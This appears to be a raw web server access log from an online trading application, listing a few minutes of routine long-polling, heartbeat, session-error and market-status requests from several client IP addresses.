[09/Jan/2026:12:25:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933013311 HTTP/1.1" -
[09/Jan/2026:12:25:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:25:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:25:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:25:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:25:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933016586 HTTP/1.1" -
[09/Jan/2026:12:25:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933017122 HTTP/1.1" -
[09/Jan/2026:12:25:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933018339 HTTP/1.1" -
[09/Jan/2026:12:25:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:25:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:25:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:25:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:25:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933021635 HTTP/1.1" -
[09/Jan/2026:12:25:53 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933022273 HTTP/1.1" -
[09/Jan/2026:12:25:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933023385 HTTP/1.1" -
[09/Jan/2026:12:25:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933026703 HTTP/1.1" -
[09/Jan/2026:12:25:58 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:25:58 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:25:58 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933027424 HTTP/1.1" -
[09/Jan/2026:12:25:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933028409 HTTP/1.1" -
[09/Jan/2026:12:26:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933031867 HTTP/1.1" -
[09/Jan/2026:12:26:03 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933032513 HTTP/1.1" -
[09/Jan/2026:12:26:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933033437 HTTP/1.1" -
[09/Jan/2026:12:26:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933037003 HTTP/1.1" -
[09/Jan/2026:12:26:08 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933037496 HTTP/1.1" -
[09/Jan/2026:12:26:08 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933037496 HTTP/1.1" -
[09/Jan/2026:12:26:08 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933037663 HTTP/1.1" -
[09/Jan/2026:12:26:08 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933037496 HTTP/1.1" -
[09/Jan/2026:12:26:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933038475 HTTP/1.1" -
[09/Jan/2026:12:26:11 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:26:11 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:26:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933042166 HTTP/1.1" -
[09/Jan/2026:12:26:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933042923 HTTP/1.1" -
[09/Jan/2026:12:26:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933043504 HTTP/1.1" -
[09/Jan/2026:12:26:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:26:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:26:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:26:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:26:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:26:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:26:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933047312 HTTP/1.1" -
[09/Jan/2026:12:26:19 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933048156 HTTP/1.1" -
[09/Jan/2026:12:26:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933048551 HTTP/1.1" -
[09/Jan/2026:12:26:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:26:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:26:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:26:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:26:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933052395 HTTP/1.1" -
[09/Jan/2026:12:26:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933053572 HTTP/1.1" -
[09/Jan/2026:12:26:24 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933053343 HTTP/1.1" -
[09/Jan/2026:12:26:28 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:26:28 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:26:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933057521 HTTP/1.1" -
[09/Jan/2026:12:26:28 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:26:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:26:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933058612 HTTP/1.1" -
[09/Jan/2026:12:26:29 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933058574 HTTP/1.1" -
[09/Jan/2026:12:26:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933062694 HTTP/1.1" -
[09/Jan/2026:12:26:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933063646 HTTP/1.1" -
[09/Jan/2026:12:26:34 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933063674 HTTP/1.1" -
[09/Jan/2026:12:26:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933067831 HTTP/1.1" -
[09/Jan/2026:12:26:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933068677 HTTP/1.1" -
[09/Jan/2026:12:26:40 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933068904 HTTP/1.1" -
[09/Jan/2026:12:26:41 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:26:41 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:26:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933072978 HTTP/1.1" -
[09/Jan/2026:12:26:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933073708 HTTP/1.1" -
[09/Jan/2026:12:26:45 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933074103 HTTP/1.1" -
[09/Jan/2026:12:26:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:26:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:26:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:26:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:26:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:26:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:26:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933078165 HTTP/1.1" -
[09/Jan/2026:12:26:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933078750 HTTP/1.1" -
[09/Jan/2026:12:26:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:26:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:26:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:26:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:26:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933079269 HTTP/1.1" -
[09/Jan/2026:12:26:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933083226 HTTP/1.1" -
[09/Jan/2026:12:26:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933083799 HTTP/1.1" -
[09/Jan/2026:12:26:55 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933084404 HTTP/1.1" -
[09/Jan/2026:12:26:58 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:26:58 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:26:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:26:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:26:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933088367 HTTP/1.1" -
[09/Jan/2026:12:26:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933088830 HTTP/1.1" -
[09/Jan/2026:12:27:00 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933089591 HTTP/1.1" -
[09/Jan/2026:12:27:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933093870 HTTP/1.1" -
[09/Jan/2026:12:27:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933093559 HTTP/1.1" -
[09/Jan/2026:12:27:05 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933094694 HTTP/1.1" -
[09/Jan/2026:12:27:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933098896 HTTP/1.1" -
[09/Jan/2026:12:27:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933098762 HTTP/1.1" -
